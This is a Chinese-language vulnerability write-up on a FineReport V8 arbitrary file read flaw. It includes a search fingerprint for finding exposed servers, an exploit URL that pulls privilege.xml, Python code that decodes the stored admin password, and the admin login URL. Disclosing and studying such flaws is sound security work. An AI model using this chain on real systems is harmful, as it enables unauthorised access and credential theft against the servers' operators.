帆软报表 V8 get_geo_json 任意文件读取漏洞
帆软报表 V8 get_geo_json 任意文件读取漏洞 CNVD-2018-04757
1.漏洞介绍
FineReport报表软件是一款纯Java编写的,集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。
FineReport v8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件
漏洞影响 FineReport < v8.0
搜索语法
body=“isSupportForgetPwd”
出现漏洞的文件为 fr-applet-8.0.jar
package com.fr.chart.web; import com.fr.base.FRContext; import com.fr.general.IOUtils; import com.fr.stable.CodeUtils; import com.fr.web.core.ActionNoSessionCMD; import com.fr.web.utils.WebUtils; import java.io.InputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class ChartGetFileContentAction extends ActionNoSessionCMD { public ChartGetFileContentAction() { } public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception { String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath")); if (!WebUtils.invalidResourcePath(var4)) { InputStream var5 = FRContext.getCurrentEnv().readResource(var4); String var6 = IOUtils.inputStream2String(var5); var6 = var6.replace(ufeff, ); WebUtils.printAsString(var2, var6); } } public String getCMD() { return "get_geo_json"; } }
使用request将文件名传入 调用cjkDecode函数解密文件名
使用invalidResourcePath函数校验文件是否存在
最后使用readResource函数读取文件传输到浏览器上 默认目录为resources
其中的privilege.xml里面存储了后台的用户名密码
使用python写出的解密代码为
cipher = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx #密文 PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码 Password = "" cipher = cipher[3:] #截断三位后 for i in range(int(len(cipher) / 4)): c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16) c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8] Password = Password + chr(c2) print (Password)
2.漏洞利用
访问:
http://xxx.xxx.com:8081/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
使用python解密
可以看到用户密码都是admin
访问系统进行登录
http://xxx.xxx.com:8081/WebReport/ReportServer?op=fs
3.漏洞修复
升级到最新版本
下一篇:
维吉尼亚(Vigenere)密码